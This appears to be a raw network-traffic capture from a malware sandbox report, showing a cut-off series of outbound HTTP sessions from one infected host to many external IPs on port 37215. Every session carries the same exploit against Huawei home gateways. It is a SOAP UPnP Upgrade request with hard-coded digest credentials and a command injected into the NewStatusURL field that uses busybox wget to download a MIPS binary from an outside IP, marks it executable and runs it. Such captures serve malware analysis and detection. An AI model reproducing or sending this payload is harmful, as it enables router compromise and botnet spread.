62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	38586	197.117.239.45	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.892270088 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	38602	197.211.194.206	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.894769907 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	40092	41.224.51.184	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.896761894 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	51654	197.78.160.104	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.899342060 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	47866	41.186.58.182	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.902254105 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	44094	156.10.102.1	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.906544924 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	47632	156.73.176.14	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.909482002 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	54036	41.7.172.29	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.913642883 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	50220	41.35.202.34	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.915179014 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	42122	41.117.220.87	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.916461945 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	54084	197.44.240.204	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.917763948 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 